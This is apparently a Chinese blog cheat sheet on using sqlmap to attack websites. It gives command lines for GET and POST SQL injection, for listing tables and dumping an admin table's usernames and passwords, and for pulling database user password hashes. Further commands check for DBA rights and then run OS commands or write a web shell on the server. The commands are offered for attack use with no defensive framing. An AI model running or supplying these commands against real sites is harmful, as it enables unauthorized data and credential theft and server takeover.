zoukankan      html  css  js  c++  java
  • sqlmap使用

    GET注入

    sqlmap.py -u "url" 检测存在不存在注入

    sqlmap.py -u "url" --tables    列出数据库的表

    sqlmap.py -u "url" --columns -T admin    列出admin的内容

    sqlmap.py -u "url" --dump -T admin "useradmin,password"    列出useradmin password的内容

    POST注入

    sqlmap.py -u "www.xxx.com/index.php" --data "user=1&pass=1" --dbs 指定post参数注入出数据库

    sqlmap.py -u "www.xxx.com/index.php" --forms    sqlmap自动查找网页上的表单,并注入

    sqlmap.py -r 1.txt -p user 用burp抓包,保存为1.txt 然后用-r参数注入,用-p参数来指定网页上的参数

    查看权限写shell

    sqlmap.py -u "url" --user 列出数据库的所以用户

    sqlmap.py -u "url" --passwords 列出数据库用户的密码

    sqlmap.py -u "url" --current-db 查看当前使用网站数据库的名字

    sqlmap.py -u "url" --current-user 查看当前网站数据库的用户名称

    sqlmap.py -u "url" --is-dba 查看当前用户是否是管理员权限   True代表有,如果没有的话就是False

    如果,你验证了,是dba权限,那么就可以执行下面的命令了。

    在数据库为mysql、postgresql、sql server时可以用    sqlmap.py -u "url" --os-cmd 来模拟一个cmd命令,然后执行一些命令,比如    sqlmap.py -u "url" --os-cmd=ipconfig 来获得ip。

    sqlmap.py -u "url" --os-shell 写入一个shell,这里默认是php,如果是别的要自己选择。

    其他参数

    #sqlmap -techenique 参数

    B:布尔型注入

    E:报错型注入

    U:可联合查询注入

    S:可多语句查询注入

    T:基于时间延迟注入

    --dbms=”mysql”指定 mysql 数据库

    --level=x  x是要指定的数

  • 相关阅读:
    电梯调度算法---结对项目小进展
    程序的单元测试—软件工程课上所获得的感悟
    软件工程之个人项目--词频统计
    c语言中文件的读写函数
    9、访问或添加属性
    5、AOP例子(切面,通知,切入点)
    6、AOP相关概念
    4、SSH集成笔记
    3、整合SSH遇到的问题
    1、各个包的作用
  • 原文地址:https://www.cnblogs.com/BuFFERer/p/12273682.html
Copyright © 2011-2022 走看看